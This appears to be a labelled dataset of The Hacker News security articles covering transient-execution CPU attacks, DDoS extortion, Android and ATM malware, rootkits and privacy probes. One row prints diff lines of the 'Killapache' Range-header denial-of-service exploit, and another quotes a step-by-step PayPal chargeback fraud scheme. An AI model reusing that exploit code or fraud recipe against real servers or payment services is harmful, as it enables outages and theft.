""Transient execution attacks leak otherwise inaccessible information via the CPU's microarchitectural state from instructions which are never committed,"" the researchers say.
""We also systematically evaluated all defenses, discovering that some transient execution attacks are not successfully mitigated by the rolled out patches and others are not mitigated because they have been overlooked.""
Out of 7 newly discovered attacks, as listed below, two are Meltdown variants, named as Meltdown-PK and Meltdown-BR, and other 5 are new Spectre mistraining strategies.

1. Meltdown-PK (Protection Key Bypass)—On Intel CPUs, an attacker with code execution ability in the containing process can bypass both read and write isolation guarantees enforced through memory-protection keys for userspace.

2. Meltdown-BR (Bounds Check Bypass)—Intel and AMD x86 processors that ship with Memory Protection eXtensions (MPX) or IA32 bound for efficient array bounds checking can be bypassed to encode out-of-bounds secrets that are never architecturally visible.

Spectre-PHT (Pattern History Table)

3. Spectre-PHT-CA-OP (Cross-Address-space Out of Place)—Performing previously disclosed Spectre-PHT attacks within an attacker-controlled address space at a congruent address to the victim branch.

4. Spectre-PHT-SA-IP (Same Address-space In Place)—Performing Spectre-PHT attacks within the same address space and the same branch location that is later on exploited.

5. Spectre-PHT-SA-OP (Same Address-space Out of Place)—Performing Spectre-PHT attacks within the same address space with a different branch.

Spectre-BTB (Branch Target Buffer)

6. Spectre-BTB-SA-IP (Same Address-space In Place)—Performing Spectre-BTB attacks within the same address space and the same branch location that is later on exploited.

7. Spectre-BTB-SA-OP (Same Address-space Out of Place)—Performing Spectre-BTB attacks within the same address space with a different branch.

Researchers demonstrate all of the above attacks in practical proof-of-concept attacks against processors from Intel, ARM, and AMD. For Spectre-PHT, all vendors have processors that are vulnerable to all four variants of mistraining, they say.
""We performed a vulnerability assessment for these new attack vectors on Intel, ARM, and AMD. For Intel, we tested our proofs-of-concept on a Skylake i5-6200U and a Haswell i7-4790. Our AMD test machines were a Ryzen 1950X and a Ryzen Threadripper 1920X. For experiments on ARM, a NVIDIA Jetson TX1 has been used,"" the researchers say.
Researchers responsibly disclosed their findings to Intel, ARM, and AMD, of which Intel and ARM acknowledged the report. The team also said since the vendors are working to address the issues, they decided to hold their proof-of-concept exploits for some time.

For in-depth details about the new attacks, you can head on to the research paper titled, ""A Systematic Evaluation of Transient Execution Attacks and Defenses,"" published by the team of researchers today.

",Cyber_Attack
"DDoS Extortionists made $100,000 without Launching a Single Attack",https://thehackernews.com/2016/04/ddos-extortionist-ransom.html,"In Brief
Cyber crooks find a new and ingenious way to make hundreds of thousands of dollars with no effort.

An unknown cyber gang, pretending to be Armada Collective, has made more than $100,000 in less than two months simply by threatening to launch DDoS attack on websites, but never actually launched a single attack.

A group of Cyber Extortionists is sending threatening emails to businesses across the globe involves the launching of powerful distributed denial-of-service (DDoS) attacks against victim's website unless a ransom is paid.

But, the group never actually launched a single DDoS attack.

In a typical scenario, attackers disrupt a targeted website with a short-term DDoS attack in order to demonstrate its power, followed by an e-mail containing ransom note threatening further disruption, if the ransom does not get paid.

Armada Collective is the same criminal gang that was responsible for one of largest DDoS attacks against ProtonMail in November 2015 and extorted $6,000 to stop sustained DDoS attack that knocked its service offline.
It is suspected that this unknown group of scammers and blackmailers are leveraging the reputation of an already established cyber gang 'Armada Collective,' well known for extorting hundreds of thousands of dollars from the victim by launching DDoS attacks, according to a blog post published Monday by CloudFlare.

Some alleged members of Armada Collective were arrested in January this year, but now reports are coming that more than 100 companies have received emails from Armada Collective demanding as much as $23,000 in Bitcoins in exchange for not being attacked.

Besides this, the criminals also warned the victims that the price will rise if they do not pay the ransom. However, no websites were actually flooded with traffic by the collective.

The bottom line:

If you get an email from the Armada Collective threatening to launch DDoS attack, just do not pay up.

Though there are criminal gangs out there performing actual DDoS attacks if you do not pay, Armada Collective is not one of them.

",Cyber_Attack
How Hackers Could Delete Any YouTube Video With Just One Click,https://thehackernews.com/2015/04/hack-delete-youtube-video.html,"A security researcher has discovered a simple but critical vulnerability in Google-owned YouTube that could be exploited by anyone to knock down the whole business of the popular video sharing website.

Kamil Hismatullin, a Russian security bod, found a simple logical vulnerability that allowed him to delete any video from YouTube in one shot.

While looking for Cross-Site Scripting (XSS) or Cross-Site Request Forgery (CSRF) flaws in YouTube Creator Studio, Hismatullin came across a simple logical bug that could wipe up any video by just sending an identity number of any video in a post request against any session token.

The bug was simple but critical as it could be exploited by an attacker to fool YouTube easily into deleting any video on its system.
""I've fought the urge to [delete] Bieber's channel,"" Hismatullin wrote in his blog post. ""Luckily no Bieber videos were harmed.""
Citing the consequences of the issue, Hismatullin said ""this vulnerability could create utter havoc in a matter of minutes in [attackers'] hands who could extort people or [just] disrupt YouTube by deleting massive amounts of videos in a very short period of time.""

The researcher reported the bug to Google, and the search engine giant fixed the issue within several hours. Hismatullin won $5,000 cash reward from Google for finding and reporting the critical issue and an extra $1337 under the company's pre-emptive vulnerability payment scheme.

Over a month ago, a similar bug was reported in Facebook's own systems that could have exploited by attackers to delete any photo from anyone's Facebook account. However, the social networking giant fixed the relatively simple issue.

",Vulnerability
Facebook track your cookies even after logout !,https://thehackernews.com/2011/09/facebook-track-your-cookies-even-after.html,"Facebook track your cookies even after logout !


According to Australian technologist Nik Cubrilovic: 'Logging out of Facebook is not enough.' He added, Even after you are logged out, Facebook is able to track your browser's page every time you visit a website. He wrote in his blog 'With my browser logged out of Facebook, whenever I visit any page with a Facebook like button, or share button, or any other widget, the information, including my account ID, is still being sent to Facebook.'

After explaining the cookies behavior he also suggested a way to fix the tracking problem: 'The only solution to Facebook not knowing who you are is to delete all Facebook cookies.'

",Vulnerability
"New ""Fileless Malware"" Targets Banks and Organizations Spotted in the Wild",https://thehackernews.com/2017/02/fileless-malware-bank.html,"More than a hundred banks and financial institutions across the world have been infected with a dangerous sophisticated, memory-based malware that's almost undetectable, researchers warned.

Newly published report by the Russian security firm Kaspersky Lab indicates that hackers are targeting banks, telecommunication companies, and government organizations in 40 countries, including the US, South America, Europe and Africa, with Fileless malware that resides solely in the memory of the compromised computers.

Fileless malware was first discovered by the same security firm in 2014, has never been mainstream until now.

Fileless malware is a piece of nasty software that does not copy any files or folder to the hard drive in order to get executed. Instead, payloads are directly injected into the memory of running processes, and the malware executes in the system's RAM.

Since the malware runs in the memory, the memory acquisition becomes useless once the system gets rebooted, making it difficult for digital forensic experts to find the traces of the malware.

The attack was initially discovered by a bank's security team after they found a copy of Meterpreter — an in-memory component of Metasploit — inside the physical memory of a Microsoft domain controller.
After conducting a forensic analysis, Kaspersky researchers found that the attackers leveraged Windows PowerShell to load the Meterpreter code directly into memory rather than writing it to the disk.

The cyber crooks also used Microsoft's NETSH networking tool to set up a proxy tunnel for communicating with the command and control (C&C) server and remotely controlling the infected host.

They also stashed the PowerShell commands into the Windows registry in an effort to reduce nearly all traces of the attacks left in logs or hard drive after a reboot of the device, making detection and forensic analysis difficult.

The ultimate goal of the attackers was apparently aimed at compromising computers that control ATMs so that they could steal money.

Kaspersky Lab researchers plan to reveal more details in April about the attack, which is occurring on an industrial scale worldwide.

The attack has already hit more than 140 enterprise networks in business sectors, with most victims located in the US, France, Ecuador, Kenya, the UK, and Russia. And since the threat is so hard to spot, the actual number is likely much higher.

",Cyber_Attack
Apache killer exploit modified for better Results,https://thehackernews.com/2011/10/apache-killer-exploit-modified-for.html,"Apache killer exploit modified for better Results


""4L4N4 K!LL3R"" or Killapache DDOS tool exploit, previously coded by kingscope's , re-edited and coded by ""S4(uR4"" , which kills apache and still many websites are vulnerable.


S4(uR4 rewrite this exploit on php/curl (web based) with agressive mode. Exploit Consist of 2 part :
1) Test Part (for test u need use static content of site, maybe images, text, html, doc file, etc)
2) Xploiting Part


Difference B/w Old and New Modified Exploit:
40c40
< $p = ""HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n""; --- > $p = ""HEAD "".($ARGV[2] ? $ARGV[2] : ""/"").""HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"";


56c56
< $p = ""HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n""; --- > $p = ""HEAD "".($ARGV[2] ? $ARGV[2] : ""/"") ."" HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"";


73c73
< if ($#ARGV > 1) {
---
> if ($#ARGV > 0) {
How does killapache DDOS tool work?
killapache sends GET requests with multiple ""byte ranges"" that will claim large portions of the system's memory space. A ""byte range"" statement allows a browser to only load certain parts of a document, for example bytes 500 to 1000. It is normally used while downloading large files. This method is used by programs such as download clients to resume downloads that have been interrupted; it is designed to reduce bandwidth requirements. However, it appears that stating multiple unsorted components in the header can cause an Apache server to malfunction.

There is no patch yet released for this vulnerability on apache, but a few work arounds have been found. These have been posted by The Apache Software Foundation and can be used until a stable fix is released.The vulnerability works by exploiting a feature in web servers that gives you the ability to pause and resume your downloads. These days if you have to stop downloading something part-way through you can generally pick up where you left off and you don't have to start again from scratch.
Download Exploit here

",Vulnerability
New Android Malware Secretly Records Phone Calls and Steals Private Data,https://thehackernews.com/2018/04/android-spying-trojan.html,"Security researchers at Cisco Talos have uncovered variants of a new Android Trojan that are being distributed in the wild disguising as a fake anti-virus application, dubbed ""Naver Defender.""

Dubbed KevDroid, the malware is a remote administration tool (RAT) designed to steal sensitive information from compromised Android devices, as well as capable of recording phone calls.

Talos researchers published Monday technical details about two recent variants of KevDroid detected in the wild, following the initial discovery of the Trojan by South Korean cybersecurity firm ESTsecurity two weeks ago.

Though researchers haven't attributed the malware to any hacking or state-sponsored group, South Korean media have linked KevDroid with North Korea state-sponsored cyber espionage hacking group ""Group 123,"" primarily known for targeting South Korean targets.

The most recent variant of KevDroid malware, detected in March this year, has the following capabilities:
record phone calls & audio
steal web history and files
gain root access
steal call logs, SMS, emails
collect device' location at every 10 seconds
collect a list of installed applications
Malware uses an open source library, available on GitHub, to gain the ability to record incoming and outgoing calls from the compromised Android device.
Although both malware samples have the same capabilities of stealing information on the compromised device and recording the victim's phone calls, one of the variants even exploits a known Android flaw (CVE-2015-3636) to get root access on the compromised device.

All stolen data is then sent to an attacker-controlled command and control (C2) server, hosted on PubNub global Data Stream Network, using an HTTP POST request.
""If an adversary were successful in obtaining some of the information KevDroid is capable of collecting, it could result in a multitude of issues for the victim,"" resulting in ""the leakage of data, which could lead to a number of things, such as the kidnapping of a loved one, blackmail by using images or information deemed secret, credential harvesting, multi-factor token access (SMS MFA), banking/financial implications and access to privileged information, perhaps via emails/texts,"" Talos says.
""Many users access their corporate email via mobile devices. This could result in cyber espionage being a potential outcome for KevDroid.""
Researchers also discovered another RAT, designed to target Windows users, sharing the same C&C server and also uses PubNub API to send commands to the compromised devices.

How to Keep Your Smartphone Secure

Android users are advised to regularly cross-check apps installed on their devices to find and remove if any malicious/unknown/unnecessary app is there in the list without your knowledge or consent.

Such Android malware can be used to target your devices as well, so you if own an Android device, you are strongly recommended to follow these simple steps to help avoid this happening to you:
Never install applications from 3rd-party stores.
Ensure that you have already opted for Google Play Protect.
Enable 'verify apps' feature from settings.
Keep ""unknown sources"" disabled while not using it.
Install anti-virus and security software from a well-known cybersecurity vendor.
Regularly back up your phone.
Always use an encryption application for protecting any sensitive information on your phone.
Never open documents that you are not expecting, even if it looks like it's from someone you know.
Protect your devices with pin or password lock so that nobody can gain unauthorized access to your device when remains unattended.
Keep your device always up-to-date with the latest security patches.

",Malware
"Using VPN in the UAE? You'll Be Fined Up To $545,000 If Get Caught!",https://thehackernews.com/2016/07/vpn-is-illegal-in-uae.html,"If you get caught using a VPN (Virtual Private Network) in Abu Dhabi, Dubai and the broader of United Arab Emirates (UAE), you could face temporary imprisonment and fines of up to $545,000 (~Dhs2 Million).

Yes, you heard that right.

Online Privacy is one of the biggest challenges in today's interconnected world. The governments across the world have been found to be using the Internet to track people's information and conduct mass surveillance.

Here VPNs and proxy servers come into Play.

VPNs and proxy servers are being used by many digital activists and protesters, who are living under the most oppressive regimes, to protect their online activity from prying eyes.

However, using VPN or proxy in the UAE could land you into great difficulty.

The UAE President Sheikh Khalifa bin Zayed Al Nahyan has issued new sovereign laws for combating cyber crimes, which includes a regulation that prohibits anyone, even travelers, in the UAE from using VPNs to secure their web traffic from prying eyes.

Also Read: Best VPN Services for Fast, Anonymous and Secure Browsing

According to the laws, anyone using a VPN or proxy server can be imprisoned and fined between $136,000 and $545,000 (Dhs500,000 and Dhs2 Million).

The laws have already been issued by the UAE President and have now been reported to the official government news service WAM.

For those unfamiliar, Virtual Private Network (VPN) securely routes your Internet traffic through a distant connection, protecting your browsing, hiding your location data and accessing restricted resources.

Nowadays, VPNs have become a valuable tool not just for large companies, but also for individuals to dodge content restrictions as well as to counter growing threat of cyber attacks.

The UAE's top two telecom companies, Etislat and Du, have banned VoIP -- the phone calling features in popular apps like WhatsApp, Viber, Facebook Messenger and SnapChat that deliver voice calls over the Internet for free -- from within the Gulf nation.

Also Read: Opera Browser Now Offers Free and Unlimited Built-in VPN Service

However, soon the vast number of UAE residents who use VPNs and proxies within the UAE for years to bypass the VoIP ban could be in difficulty.

Out of two new laws issued last week, one lays out fines for anyone who uses a VPN or proxy server, local news reports. The new law regarding VPNs states:

""Whoever uses a fraudulent computer network protocol address (IP address) by using a false address or a third-party address by any other means for the purpose of committing a crime or preventing its discovery, shall be punished by temporary imprisonment and a fine of no less than Dhs500,000 and not exceeding Dhs2 million, or either of these two penalties.""

The new move is in favor of telecom companies for whom VoIP 'over-the-top' apps have long been a major issue, as consumers no longer need to pay international calling rates to speak to their loved ones.

",Cyber_Attack
Dangerous Malware Allows Anyone to Empty ATMs—And It's On Sale!,https://thehackernews.com/2017/10/atm-malware-hacking.html,"Hacking ATM is now easier than ever before.

Usually, hackers exploit hardware and software vulnerabilities to hack ATMs and force them to spit out cash, but now anyone can simply buy a malware to steal millions in cash from ATMs.

Hackers are selling ready-made ATM malware on an underground hacking forum that anybody can simply buy for around $5000, researchers at Kaspersky Lab discovered after spotting a forum post advertising the malware, dubbed Cutlet Maker.

The forum post provides a brief description and a detailed manual for the malware toolkit designed to target various ATMs models with the help of a vendor API, without interacting with ATM users and their data.

Therefore, this malware does not affect bank customers directly; instead, it is intended to trick the bank ATMs from a specific vendor to release cash without authorisation.

The manual also mentions an infamous piece of ATM malware, dubbed Tyupkin, which was first analysed in 2014 by Kaspersky Lab and used by an international cybercrime gang to conduct Jackpotting attack and make Millions by infecting ATMs across Europe and beyond.
Here's how Cutlet Maker looks like.
The list of crimeware contains in the toolkit includes:

Cutlet Maker—ATM malware which is the primary element of the toolkit
Stimulator—an application to gather cash cassette statuses of a targeted ATM
c0decalc—a simple terminal-based application to generate a password for the malware.

According to Kaspersky researchers, the functionality of the Cutlet Maker malware suggests that two people are supposed to be involved in the ATM money theft—the roles are called ""drop"" and ""drop master.""
""Access to the dispense mechanism of CUTLET MAKER is password protected. Though there could be just one person with the c0decalc application needed to generate a password,"" the researchers say.

""Either network or physical access to an ATM is required to enter the code in the application text area and also to interact with the user interface.""

In order to operate, the application needs a special library, which is part of a proprietary ATM API and controls the cash dispenser unit—this shows how cyber ""criminals are using legitimate proprietary libraries and a small piece of code to dispense money from an ATM.""

The price of this ATM malware toolkit was $5000 at the time of Kaspersky's research.

The advertisement of this Cutlet Maker ATM malware was initially published on the AlphaBay Darknet marketplace, which was recently taken down by the FBI.


",Malware
Unpatched VirtualBox Zero-Day Vulnerability and Exploit Released Online,https://thehackernews.com/2018/11/virtualbox-zero-day-exploit.html,"An independent exploit developer and vulnerability researcher has publicly disclosed a zero-day vulnerability in VirtualBox—a popular open source virtualization software developed by Oracle—that could allow a malicious program to escape virtual machine (guest OS) and execute code on the operating system of the host machine.

The vulnerability occurs due to memory corruption issues and affects Intel PRO / 1000 MT Desktop (82540EM) network card (E1000) when the network mode is set to NAT (Network Address Translation).

The flaw is independent of the type of operating system being used by the virtual and host machines because it resides in a shared code base.

VirtualBox Zero-Day Exploit and Demo Video Released

Sergey Zelenyuk published Wednesday a detailed technical explanation of the zero-day flaw on GitHub, which affects all current versions (5.2.20 and prior) of VirtualBox software and is present on the default Virtual Machine (VM) configuration.

According to Zelenyuk, the vulnerability allows an attacker or a malicious program with root or administrator rights in the guest OS to escape and execute arbitrary code in the application layer (ring 3) of the host OS, which is used for running code from most user programs with the least privileges.
Following successful exploitation, the researcher believes an attacker can also obtain kernel privileges (ring 0) on the host machine by exploiting other vulnerabilities.

""The E1000 has a vulnerability allowing an attacker with root/administrator privileges in a guest to escape to a host ring 3. Then the attacker can use existing techniques to escalate privileges to ring 0 via /dev/vboxdrv,"" Zelenyuk said.

Along with the details of the zero-day vulnerability, Zelenyuk also wrote down the complete exploit chain and released a video demonstration of the attack on Vimeo.

No Security Patch Yet Available, Here's How to Protect Yourself

The researcher claims his exploit is ""100% reliable."" Zelenyuk tested his exploit on Ubuntu version 16.04 and 18.04 x86-64 guests, but he believes the exploit also works against the Windows platform.

While the exploit released by the researcher is not simple to execute, full details of how to execute it are provided.

Zelenyuk decided to publicly disclose the zero-day vulnerability and the exploit due to his ""disagreement with [the] contemporary state of infosec, especially of security research and bug bounty,"" which he experienced over a year ago when he responsibly reported another VirtualBox flaw to Oracle.

The researcher also expressed his displeasure with the ""delusion of grandeur and marketing bullshit"" with the vulnerability release process by ""naming vulnerabilities and creating websites for them,"" and security researchers putting themselves in front of ""a thousand conferences in a year.""

So, this time the researcher publicly disclosed the flaw, and thus, there is no patch yet available.

However, until it is patched, users can protect themselves against potential cyber attacks by changing the network card of their ""virtual machines to PCnet (either of two) or to Paravirtualized Network.""

Though the researcher stressed that the above approach is more secure, in case if you are unable to do that, you can change the mode from NAT to another one.

",Vulnerability
LoopHole in PayPal Terms Allows Anyone to Double PayPal Money Endlessly,https://thehackernews.com/2014/06/loophole-in-paypal-terms-allows-anyone.html,"Many of us own a PayPal account for easy online transactions, but most of us don't have balance in our PayPal Account. But what will happen if your money doubles, triple...or even more folds in just some couple of hours ?? Sounds cherishing!!

A loophole in the popular digital payment and money transfer service, PayPal allows its users to double the money in their account and that too endlessly. That means with only $50 in your PayPal account, you can make it to $100, then $100 to directly $200 and so on.

An eBay owned company, PayPal provides a faster and safer way to pay and get paid. The service gives people simpler ways to send money without sharing financial information, with over 148 million active accounts in 26 currencies and across 193 markets, thereby processing more than 9 million payments daily.

According to TinKode a.k.a Razvan Cernaianu, who claimed to have found this loophole in the PayPal service that actually resides in its Chargeback Process which could be exploited to do fraud with PayPal.

Tinkode is a convicted former Romanian hacker, who was arrested in year 2012 for attacking NASA, Oracle, Pentagon, U.S. Army and many more high profile websites and that time he was ordered to pay damages totalling more than US$120,000.

""A Chargeback, also known as a reversal, occurs when a buyer asks a credit card company to reverse a transaction that has already cleared"" and this could be done when the buyer's credit card number is stolen and used fraudulently or if seller tries to fraud.

He noticed the flaw while making a transaction using PayPal with a person back in 2010, who was trying to scam him with his money using the same chargeback process. To avoid paying charges, he transfer all his money from his temporary account to his another, real PayPal account. But, when he checked after a month, he noticed that his account balance was negative i.e. $50.

Exactly this trick he demonstrated to PayPal security team, which allows anyone to double their amount endlessly. In a proof of concept explanation he detailed that by making three separate PayPal account with one real and other two verified using Virtual Credit Card (VCC) and Virtual Bank Account (VBA).

POC Scenario:
""So for example, you have 500$ on your account. You transfer the money to the second account with the pretext of buying a phone. From the second account you again transfer the money to the third account as a gift. After 24 hours, use the charge-back function from the first account (the real one) to get the money back, with the excuse that the phone did not arrive on time. PayPal will initiate a process where both sides bring evidence for their defense. Obviously you will only send evidence from the first account showing that you were scammed. At the end of the trial the money will be restored to the primary account and the second account will have a negative balance of -500$. This way, you doubled the initial amount of money because you still have 500$ in the third account. As the second account is only a virtual one, it will not have real money from which PayPal can extract. Therefore you are left with 500$ restored by PayPal, and 500$ in your third account.""
TinKode already reported the flaw to PayPal Security team for bug bounty and they admitted it as a flaw in their Terms of Service (ToS), but not as a web application vulnerability. ""While the abuse described here is possible in our system, repeated abusive behavior by the same and/or linked account(s) is addressed."" PayPal replied.

TinKode is not eligible for bug bounty, but we thank him for exposing this fraud technique that could be already in use by some criminals to generate money illegally. Anyone with little technical knowledge can reproduce this trick, but readers are advised to do not try to use this trick as PayPal could ban your account permanently.

",Vulnerability
Black Kingdom Ransomware Hunting Unpatched Microsoft Exchange Servers,https://thehackernews.com/2021/03/black-kingdom-ransomware-hunting.html,"More than a week after Microsoft released a one-click mitigation tool to mitigate cyberattacks targeting on-premises Exchange servers, the company disclosed that patches have been applied to 92% of all internet-facing servers affected by the ProxyLogon vulnerabilities.
The development, a 43% improvement from the previous week, caps off a whirlwind of espionage and malware campaigns that hit thousands of companies worldwide, with as many as 10 advanced persistent threat (APT) groups opportunistically moving quickly to exploit the bugs.
According to telemetry data from RiskIQ, there are roughly 29,966 instances of Microsoft Exchange servers still exposed to attacks, down from 92,072 on March 10.
While Exchange servers were under assault by multiple Chinese-linked state-sponsored hacking groups prior to Microsoft's patch on March 2, the release of public proof-of-concept exploits fanned a feeding frenzy of infections, opening the door for escalating attacks like ransomware and hijacking web shells planted on unpatched Microsoft Exchange servers to deliver cryptominers and other malware.
""To make matters worse, proof-of-concept automated attack scripts are being made publicly available, making it possible for even unskilled attackers to quickly gain remote control of a vulnerable Microsoft Exchange Server,"" cybersecurity firm F-Secure noted in a write-up last week.
In the weeks since Microsoft first released its patches, at least two different strains of ransomware have been discovered as leveraging the flaws to install ""DearCry"" and ""Black Kingdom.""
Cybersecurity firm Sophos' analysis of Black Kingdom paints the ransomware as ""somewhat rudimentary and amateurish in its composition,"" with the attackers abusing the ProxyLogon flaw to deploy a web shell, utilizing it to issue a PowerShell command that downloads the ransomware payload, which encrypts the files and demands a bitcoin ransom in exchange for the private key.
""The Black Kingdom ransomware targeting unpatched Exchange servers has all the hallmarks of being created by a motivated script-kiddie,"" Mark Loman, director of engineering at Sophos, said. ""The encryption tools and techniques are imperfect but the ransom of $10,000 in bitcoin is low enough to be successful. Every threat should be taken seriously, even seemingly low-quality ones.""
The volume of attacks even before the public disclosure of ProxyLogon has prompted experts to investigate if the exploit was shared or sold on the Dark Web, or a Microsoft partner, with whom the company shared information about the vulnerabilities through its Microsoft Active Protections Program (MAPP), either accidentally or purposefully leaked it to other groups.

",Malware
"New York, Canada, Ireland Launch New Investigations Into Facebook Privacy Breaches",https://thehackernews.com/2019/04/facebook-privacy-investigation.html,"Facebook has a lot of problems, then there are a lot of problems for Facebook—and both are not going to end anytime sooner.

Though Facebook has already set aside $5 billion from its revenue to cover a possible fine the company is expecting as a result of an FTC investigation over privacy violations, it seems to be just first installment of what Facebook has to pay for continuously ignoring users' privacy.

This week, Facebook has been hit with three new separate investigations from various governmental authorities—both in the United States and abroad—over the company's mishandling of its users' data.

New York Attorney General to Investigate Facebook Email Collection Scandal

New York Attorney General is opening an investigation into Facebook's unauthorized collection of the email contacts of more than 1.5 million users during site registration without their permission.

Earlier this month, Facebook was caught practicing the worst ever user-verification mechanism by asking users new to its social network platform for their email account passwords to verify their identity.

However, just last week it turned out that the social network ""unintentionally"" uploaded email contacts from up to 1.5 million new users on its servers, without their consent or knowledge, Facebook admitted while saying the data was reportedly used to ""build Facebook's web of social connections and recommend friends to add.""

According to the New York Attorney General Letitia James, the harvested email addresses may have exposed hundreds of millions of Facebook users to targeted advertisements.

""Facebook has repeatedly demonstrated a lack of respect for consumer information while at the same time profiting from mining that data,"" James said in a statement, adding that now it's time that the social media company should ""held accountable for how it handles consumers' personal information.""

In response to the news, a Facebook spokesperson told The NY Times that the company is ""in touch with the New York State attorney general's office and are responding to their questions on this matter.""

Ireland Investigating into Facebook Over Plaintext Passwords Scandal

The Irish Data Protection Commission had begun an investigation into a separate Facebook's privacy bunder exposed last month when the social network revealed that it left hundreds of millions of passwords of Facebook, Facebook Lite and Instagram users exposed in plain text on company servers.

At the time, it was reported that the incident exposed ""tens of thousands"" passwords of Instagram users in plaintext, while just last week it was revealed that the actual number of affected Instagram users were not in hundreds of thousands but millions.

The exposed passwords were potentially dated back to 2012 and were accessible to up to 2,000 Facebook employees.

In a statement on Thursday, the Irish Data Protection Commissioner said it has launched ""a statutory inquiry in relation to this issue to determine whether Facebook has complied with its obligations under relevant provisions"" of the European Union's General Data Protection Regulation (GDPR) designed to protect people's data.

Canada to Sue Facebook Over Cambridge Analytica Scandal

Canadian regulators are also suing Facebook for allegedly violating the country's privacy laws following their investigation into the March 2018's Cambridge Analytica scandal and its impact on Canadians.

A joint report published Thursday from Canadian privacy commissioner Daniel Therrien and his British Columbia counterpart said lax security practices at the company allowed personal information of hundreds of thousands of Canadians to be used for political purposes.

The watchdogs started investigating Facebook last year after it was revealed that a UK political consultancy Cambridge Analytica harvested data from about 87 million users and then used it for political gain without their knowledge or permission.

The report said Facebook committed a ""major breach of trust"" and ""abdicated its responsibility for personal information under its control, effectively shifting that responsibility to users and apps.""

The United States FTC is also investigating Facebook over the Cambridge Analytica scandal, and the company has already kept aside $5 billion from its revenue in anticipation of the settlement with the commission.

",Data_Breaches
"Mysterious Avatar rootkit with API, SDK, and Yahoo Groups for C&C communication",https://thehackernews.com/2013/05/mysterious-avatar-rootkit-with-api-sdk.html,"Early 2012 ESET company a mysterious malware, dubbed the Avatar rootkit (Win32/Rootkit.Avatar), advertised in the underground forums by Russian cyber crime.

""We present you here previously announced product. In connection with work on other projects, we moved the release date for the public from May to February 2013th 2012go.Now nuclear rootkit AVATAR is available for rental.""
Despite the malware was described months ago it was not found and published until now, in March ESET researchers detected two droppers with different C&C servers and having different compilation time stamps as showed in the following pictures:
The Avatar rootkit appears very sophisticated, it uses two different infection techniques, the first in the dropper so as to bypass detections by HIPS, and the second one in the rootkit driver to allow the malware to be alive after system reboot, the instance detected works only on x86 systems.

The 2 level dropper for Avatar rootkit works in conjunction, the first one implements LZMA decompression for the second level dropper. Driver module and second level dropper are unique in every instance of malware thanks to a random names generator names for mutexes/events in the first level dropper.

To the second level dropper is assigned the function of escalate privilege on target system, the dropper uses two different techniques, the exploitation of the MS11-080 vulnerability with code as a public exploit from Metasploit Framework with minor changes, and COM Elevation (UAC whitelist).

The following a diagram that shows the process implemented by dropper:

Most interesting part of the exploit code of Avatar rootkit is the steps taken after exploitation, kernel-mode shellcode is in fact executed to load malicious driver, the rootkit driver is not stored on the hard drive and loads only from a memory region.

The Avatar rootkit implements a technique for loading the driver by system driver infection that appeared very effective for bypassing victim's defense, and allows the loads other kernel-mode modules exploiting the malicious system driver.

The post reports:
""In order to perform its infection, Avatar randomly chooses a driver and checks its name against a blacklist that varies for every Windows versions."" ""The Avatar rootkit driver is able to infect several system drivers without changing the original driver's file size.""

Once loaded the Avatar rootkit driver, the malicious code executes an algorithm for infecting system drivers so as to survive after reboot, the malware is also able to detect the presence of a virtual machine environment thanks to a sophisticated technique that query BIOS to check for some specific strings related to principal machines available on the market such as VirtualBox and VMware.

The malware uses a hidden file system to store the user-mode payload module and also additional files, all the data are encrypted using a custom symmetric cipher. The hidden file storage is also used by Avatar rootkit to store additional user-mode and kernel-mode modules that malware can download and execute. Avatar rootkit doesn't store malicious modules in any standard NTFS storage, except for infected system drivers.

The principal functionality of the malware are:
command center communications
parsing configuration information
read/write into hidden file storage
communicating with the rootkit driver
installing additional user-mode and kernel-mode modules
The post highlight the flexibility of the malicious agent:
""Of course, this means the initial infection can be the starting point of a variety of malicious activities based on the modules that deployed. In our case the payload component avcmd.dll was injected into svchost.exe system process which started communicating with C&C IP addresses stored in the configuration file. ""

Another interesting feature implemented by authors of the rootkit in the protection of communications with the command center with a custom encryption algorithm which output is base64-encoded, Avatar rootkit has an additional way of communicating with the C&C server searching for messages in Yahoo groups using special parameters. The technique is not new and is very efficient to protect the malware over sinkhole attempts of security firms, because information about C&C's domains is encrypted using an RSA asymmetric algorithm.

On the use of Yahoo Groups as C&C the report states:
""The group description is encrypted with an RSA algorithm and a 1024-bit private key. It is possible to decrypt this data with the public key stored in the configuration file. We suppose this information is to be found in the encrypted message used for returning control for a botnet without an active C&C.""

But Avatar rootkit appears a very complex and articulated project, it is accompanied by a list of API for developing additional components based on the Avatar Runtime Library, a special SDK for developing additional user-mode components which allow communication with the Avatar rootkit driver.

Win32/Rootkit.Avatar is considerable a sophisticated rootkit family having many interesting features to avoid detection by security software, due this reason security experts believe that the agent has been developed for long term infection by the system executing the attack.

Avatar rootkit may hold many surprises in the next future.

",Malware
"FBI, CISA Uncover Tactics Employed by Russian Intelligence Hackers",https://thehackernews.com/2021/04/fbi-cisa-uncover-tactics-employed-by.html,"The U.S. Cybersecurity and Infrastructure Security Agency (CISA), Department of Homeland Security (DHS), and the Federal Bureau of Investigation (FBI) on Monday published a new joint advisory as part of their latest attempts to expose the tactics, techniques, and procedures (TTPs) adopted by the Russian Foreign Intelligence Service (SVR) in its attacks targeting the U.S and foreign entities.
By employing ""stealthy intrusion tradecraft within compromised networks,"" the intelligence agencies said, ""the SVR activity—which includes the recent SolarWinds Orion supply chain compromise—primarily targets government networks, think tank and policy analysis organizations, and information technology companies and seeks to gather intelligence information.""
The cyber actor is also being tracked under different monikers, including Advanced Persistent Threat 29 (APT29), the Dukes, CozyBear, and Yttrium. The development comes as the U.S. sanctioned Russia and formally pinned the SolarWinds hack and related cyberespionage campaign to government operatives working for SVR.
APT29, since emerging on the threat landscape in 2013, has been tied to a number of attacks orchestrated with an aim to gain access to victim networks, move within victim environments undetected, and extract sensitive information. But in a noticeable shift in tactics in 2018, the actor moved from deploying malware on target networks to striking cloud-based email services, a fact borne by the SolarWinds attack, wherein the actor leveraged Orion binaries as an intrusion vector to exploit Microsoft Office 365 environments.
